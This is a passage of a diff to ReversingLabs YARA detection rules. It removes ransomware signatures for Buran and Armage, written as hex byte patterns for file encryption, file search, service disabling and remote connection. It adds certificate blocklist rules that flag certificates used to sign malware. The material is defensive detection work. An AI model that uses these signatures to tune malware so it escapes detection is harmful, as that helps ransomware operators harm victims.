?? ?? 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? - 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 8D 85 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 75 ?? 8D 85 ?? ?? ?? ?? - 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 45 ?? - 8B 48 ?? 8B 45 ?? E8 - } - $disable_services_p1 = { - E8 ?? ?? ?? ?? 8B F0 BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 - FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA - ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? - 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 - FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA - ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? - 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 - FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA - ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? - 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 - FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA - ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? - 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 - FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA - ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA - } - $disable_services_p2 = { - 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 - FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA - ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? - 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 - FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA - ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? - 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 - FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA - ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? - 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 - FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA - ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? 8B 55 ?? 8B C6 8B 08 FF 51 ?? 6A ?? 8B 45 ?? E8 ?? - ?? ?? ?? 8B D0 8D 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 33 C9 33 D2 E8 ?? ?? ?? ?? 33 C0 5A - 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yu Bao" and pe.signatures [ i ] . serial == "5c:88:31:3b:d9:8b:de:99:c9:b9:ac:14:08:a6:32:49" and 1474243200 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_7A632A6Ecfc6C49Ec1F42F76 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "863a109c-034f-5168-9470-8fd4945e6e92" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13874-L13890" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "038badeab61c00476b79684308bf91f8a63716641f2be16fe0a3b25ebd3a9a1e" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( ( all of ( $disable_services_p* ) ) and ( all of ( $search_files_p* ) ) and ( $encrypt_files ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BIG JOURNEY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "7a:63:2a:6e:cf:c6:c4:9e:c1:f4:2f:76" and 1474959780 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Buran : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_F57Df6A6Eee3854D513D0Ba8585049B7 : INFO FILE { meta: - description = "Yara rule that detects Buran ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "c2a36a8b-5c21-5c31-994d-b424c038dd21" - date = "2020-06-26" - modified = "2020-07-15" + id = "b31f73d5-ff9e-5be7-b806-8838ddb5d29d" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Buran.yara#L1-L91" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13892-L13910" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "5606e0acecd99ccf2feaa995353211302903a09bb2c4ec65903566215e2d5ca4" + logic_hash = "09d5998960fb65eda56cd698c5ff50d87ba7a811cbb128bc7485c0f124e14cba" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Buran" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files = { - 55 8B EC 81 C4 ?? ?? ?? ?? 53 56 57 33 DB 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D - ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? - 89 5D ?? 89 5D ?? 88 8D ?? ?? ?? ?? 88 95 ?? ?? ?? ?? 89 45 ?? 8D 45 ?? E8 ?? ?? ?? - ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF - 30 64 89 20 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 55 ?? 8B 45 ?? E8 ?? ?? ?? - ?? 8B 55 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 74 ?? 80 BD ?? ?? ?? ?? ?? 75 ?? 33 - C0 5A 59 59 64 89 10 E9 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 8B 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8D 85 ?? ?? ?? - ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? - ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 45 ?? - 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 55 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 - C0 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 - 74 ?? 80 BD ?? ?? ?? ?? ?? 74 ?? 33 C9 8B 55 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 33 C0 5A 59 59 - 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 - } - $encrypt_files = { - 53 56 57 55 BB ?? ?? ?? ?? BF ?? ?? ?? ?? 80 7B ?? ?? 75 ?? 83 3F ?? 74 ?? 8B 07 89 - C6 33 C0 89 07 FF D6 83 3F ?? 75 ?? 83 3D ?? ?? ?? ?? ?? 74 ?? E8 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 33 C0 A3 ?? ?? ?? ?? 80 7B ?? ?? 75 ?? 83 3D ?? ?? ?? ?? ?? 75 ?? 33 C0 89 - 43 ?? E8 ?? ?? ?? ?? 80 7B ?? ?? 76 ?? 83 3D ?? ?? ?? ?? ?? 74 ?? 8B 7B ?? 85 FF 74 - ?? 8B C7 E8 ?? ?? ?? ?? 8B 6B ?? 8B 75 ?? 3B 75 ?? 74 ?? 85 F6 74 ?? 56 E8 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 80 7B ?? ?? 75 ?? FF 53 ?? 80 7B ?? ?? 74 ?? E8 ?? ?? ?? ?? 83 3B - ?? 75 ?? 83 3D ?? ?? ?? ?? ?? 74 ?? FF 15 ?? ?? ?? ?? A1 ?? ?? ?? ?? 50 E8 ?? ?? ?? - ?? 8B 03 8B F0 8B FB B9 ?? ?? ?? ?? F3 A5 E9 ?? ?? ?? ?? 5D 5F 5E 5B C3 A3 - } - $remote_connection_p1 = { - 55 8B EC 81 C4 ?? ?? ?? ?? 50 83 C4 ?? 53 56 33 DB 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? - ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 5D ?? 8B D9 89 55 ?? 89 - 45 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF - 30 64 89 20 8B C3 E8 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 89 45 - ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 BE ?? ?? - ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 56 8D 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? - ?? 0F 84 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 55 ?? B8 ?? ?? ?? - ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 6A ?? 56 6A ?? 6A ?? 6A ?? 8B 45 ?? E8 - } - $remote_connection_p2 = { - 50 8B 45 ?? E8 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 - ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 C9 B2 ?? A1 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 89 45 ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 95 ?? ?? ?? ?? B8 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? - ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D - 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? - ?? 8D 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 75 ?? 68 ?? - ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 45 ?? - E8 ?? ?? ?? ?? 8B 45 ?? 8B 70 ?? 85 F6 74 ?? 83 EE ?? 8B 36 68 ?? ?? ?? ?? 56 8B 45 - ?? 8B 40 ?? E8 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 8B - 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 89 45 ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 EB ?? 83 7D ?? ?? 74 ?? 8D 95 ?? - ?? ?? ?? 8B 4D ?? 8B 45 ?? 8B 30 FF 56 ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? - ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 75 ?? C6 85 ?? ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? - B9 ?? ?? ?? ?? 8B 45 ?? 8B 30 FF 56 ?? 8B C3 8B 55 ?? 8B 52 ?? E8 ?? ?? ?? ?? 33 C0 - 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? C3 E9 - } - condition: - uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $encrypt_files ) and ( all of ( $remote_connection_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "smnetworks" and ( pe.signatures [ i ] . serial == "00:f5:7d:f6:a6:ee:e3:85:4d:51:3d:0b:a8:58:50:49:b7" or pe.signatures [ i ] . serial == "f5:7d:f6:a6:ee:e3:85:4d:51:3d:0b:a8:58:50:49:b7" ) and 1277769600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Armage : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_0Ac5Ac5D323122E6D8E92D6E191B1432 : INFO FILE { meta: - description = "Yara rule that detects Armage ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "94cf639b-7d9e-51ca-b547-e0d591581df2" - date = "2020-06-26" - modified = "2020-07-15" + id = "9a363a84-c21c-5afe-9812-9ce16962b28a" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Armage.yara#L1-L128" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13912-L13928" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "aa8ddcbb0fdcad15e603e000db1d4f86eae7d42efce1c1d21dc3dd57ee9f4319" + logic_hash = "d5e62d3cdfacfaea70f9ee11230501bb9c4099508077d50a2a143cb69476f02a" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Armage" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files_p1 = { - 55 89 E5 53 8D 5D ?? 81 EC ?? ?? ?? ?? 89 4D ?? C7 45 ?? ?? ?? ?? ?? 89 5D ?? 8D 5D - ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 65 ?? 89 1C 24 E8 ?? ?? ?? ?? 8B 45 - ?? 8D 50 ?? 8D 48 ?? C7 00 ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? C6 40 ?? ?? 89 50 ?? 89 - 95 ?? ?? ?? ?? 8D 50 ?? 89 50 ?? 89 95 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 - ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 8D 5D ?? 83 EC ?? 89 5D ?? - 8B 41 ?? 8B 51 ?? 8D 4D ?? 01 C2 89 04 24 89 54 24 ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8D 45 ?? 8D 5D ?? 83 EC ?? 89 5C 24 ?? 89 04 24 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8B 45 ?? 8D 5D ?? 39 D8 74 ?? 89 04 24 E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 - ?? ?? ?? ?? 8B 55 ?? 8B 4D ?? 89 42 ?? 8B 55 ?? 89 4C 24 ?? 89 04 24 29 CA 89 54 24 - ?? E8 ?? ?? ?? ?? 8B 55 ?? 89 42 ?? 8B 42 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 55 ?? 89 42 - ?? 89 04 24 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 55 ?? - 8B 42 ?? 89 04 24 E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 8D ?? - ?? ?? ?? 89 4C 24 ?? 89 85 ?? ?? ?? ?? 89 44 24 ?? 8B 55 ?? 8B 42 ?? 89 04 24 E8 ?? - ?? ?? ?? 8B 8D ?? ?? ?? ?? 89 4C 24 ?? 89 8D ?? ?? ?? ?? 89 4C 24 ?? 8B 85 ?? ?? ?? - ?? 89 44 24 ?? 8B 55 ?? 8B 42 ?? 89 04 24 E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 44 24 - ?? 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 89 5C 24 ?? 8B 8D ?? - ?? ?? ?? 89 4C 24 ?? 89 85 ?? ?? ?? ?? 89 44 24 ?? 8B 55 ?? 8B 42 ?? 89 04 24 E8 ?? - ?? ?? ?? 89 44 24 ?? 8B 85 ?? ?? ?? ?? 89 44 24 ?? 8D 45 ?? 89 04 24 E8 - } - $encrypt_files_p2 = { - 8B 55 ?? 8D 45 ?? 89 04 24 C7 45 ?? ?? ?? ?? ?? 8D 4A ?? E8 ?? ?? ?? ?? 8B 45 ?? 8D - 55 ?? 83 EC ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 - ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? - ?? 8B 40 ?? 8B 80 ?? ?? ?? ?? 85 C0 89 85 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? - ?? ?? 80 78 ?? ?? 74 ?? 0F BE 40 ?? 89 04 24 B9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 - ?? ?? ?? ?? 83 EC ?? 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? - 8B 45 ?? 85 C0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8D 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 5D - ?? C9 C3 90 8B 8D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? - 8B 00 8B 50 ?? B8 ?? ?? ?? ?? 81 FA ?? ?? ?? ?? 74 ?? C7 04 24 ?? ?? ?? ?? 8B 8D ?? - ?? ?? ?? FF D2 83 EC ?? 0F BE C0 E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C5 ?? 8B 45 ?? 89 - 85 ?? ?? ?? ?? 8B 45 ?? 85 C0 74 ?? 83 E8 ?? 74 ?? 83 E8 ?? 74 ?? 83 E8 ?? 74 ?? 83 - E8 ?? 74 ?? 0F 0B 8B 45 ?? 8D 55 ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 85 - C0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 8B 40 ?? 3B 85 ?? ?? ?? ?? 74 ?? 89 04 24 - E8 ?? ?? ?? ?? 8B 45 ?? 8B 40 ?? 39 85 ?? ?? ?? ?? 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B - 85 ?? ?? ?? ?? 89 04 24 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? 39 D0 - 75 ?? EB - } - $find_files_p1 = { - 55 89 E5 81 EC ?? ?? ?? ?? 8D 55 ?? 89 4D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? - ?? C7 45 ?? ?? ?? ?? ?? 89 55 ?? 8D 55 ?? 89 65 ?? 89 14 24 E8 ?? ?? ?? ?? 8B 45 ?? - 8B 4D ?? 83 C0 ?? 8B 51 ?? 89 45 ?? 8D 45 ?? 89 45 ?? 8B 45 ?? 89 55 ?? 8B 00 89 C1 - 89 45 ?? 01 D1 74 ?? 85 C0 75 ?? C7 04 24 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8B 45 ?? 83 F8 ?? 89 45 ?? 0F 87 ?? ?? ?? ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? 8B - 45 ?? 8D 55 ?? 0F B6 00 88 45 ?? B8 ?? ?? ?? ?? 89 45 ?? C6 04 02 ?? B8 ?? ?? ?? ?? - 2B 45 ?? 83 F8 ?? 0F 86 ?? ?? ?? ?? 8D 4D ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? - ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 EC ?? 89 44 24 ?? 8B 45 ?? 89 - 04 24 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? 83 EC ?? 89 81 ?? ?? ?? - ?? 8D 4D ?? 39 CA 74 ?? 89 14 24 E8 ?? ?? ?? ?? 8B 45 ?? 8B 80 ?? ?? ?? ?? 83 F8 - } - $find_files_p2 = { - 8B 45 ?? 0F 95 00 8D 45 ?? 89 04 24 E8 ?? ?? ?? ?? C9 C2 ?? ?? 8D 76 ?? 8D 45 ?? 8B - 4D ?? 89 4C 24 ?? 8B 4D ?? 89 04 24 89 4C 24 ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 55 ?? E9 - ?? ?? ?? ?? 8D 45 ?? 8D 4D ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 C7 45 ?? ?? ?? ?? ?? - E8 ?? ?? ?? ?? 8B 55 ?? 83 EC ?? 89 45 ?? 89 55 ?? EB ?? C7 04 24 ?? ?? ?? ?? C7 45 - ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C5 ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 85 C0 74 ?? 83 E8 - ?? 74 ?? 0F 0B 8B 45 ?? 8D 55 ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 - 24 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 66 90 55 89 E5 57 56 8D 45 ?? 53 83 EC ?? - 89 45 ?? 8D 45 ?? 89 4D ?? C7 45 ?? ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 - ?? ?? ?? ?? ?? 89 65 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 5D ?? C6 45 ?? ?? 8B 83 ?? ?? ?? - ?? 83 F8 ?? 74 ?? 8D 53 ?? 89 04 24 89 54 24 ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? - 83 EC ?? 85 C0 0F 95 45 ?? 0F B6 45 ?? 8B 75 ?? 88 06 8B 45 ?? 89 04 24 E8 ?? ?? ?? - ?? 0F B6 45 ?? 8D 65 ?? 5B 5E 5F 5D C3 - } - $enum_resources_p1 = { - 55 B8 ?? ?? ?? ?? 89 E5 E8 ?? ?? ?? ?? 29 C4 8D 45 ?? 89 8D ?? ?? ?? ?? 89 A5 ?? ?? - ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? - ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8D 85 ?? ?? - ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 44 24 ?? 8B 45 - ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 89 44 24 ?? - C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 85 C0 74 ?? C7 85 ?? ?? ?? ?? - ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? C9 C2 ?? ?? - 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 44 - 24 ?? 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC ?? 85 C0 75 ?? 8D 85 ?? ?? ?? - ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 85 C0 75 ?? EB - ?? 8D B4 26 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? F6 40 ?? ?? 0F 85 ?? ?? ?? ?? 83 85 ?? ?? - ?? ?? ?? 83 85 ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 3B 85 ?? ?? ?? ?? 0F 83 - } - $enum_resources_p2 = { - 8B 85 ?? ?? ?? ?? F6 40 ?? ?? 74 ?? 8B 40 ?? 89 C2 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? - ?? 85 D2 89 85 ?? ?? ?? ?? B8 ?? ?? ?? ?? 74 ?? 89 14 24 E8 ?? ?? ?? ?? 03 85 ?? ?? - ?? ?? 89 44 24 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? ?? - ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 EC 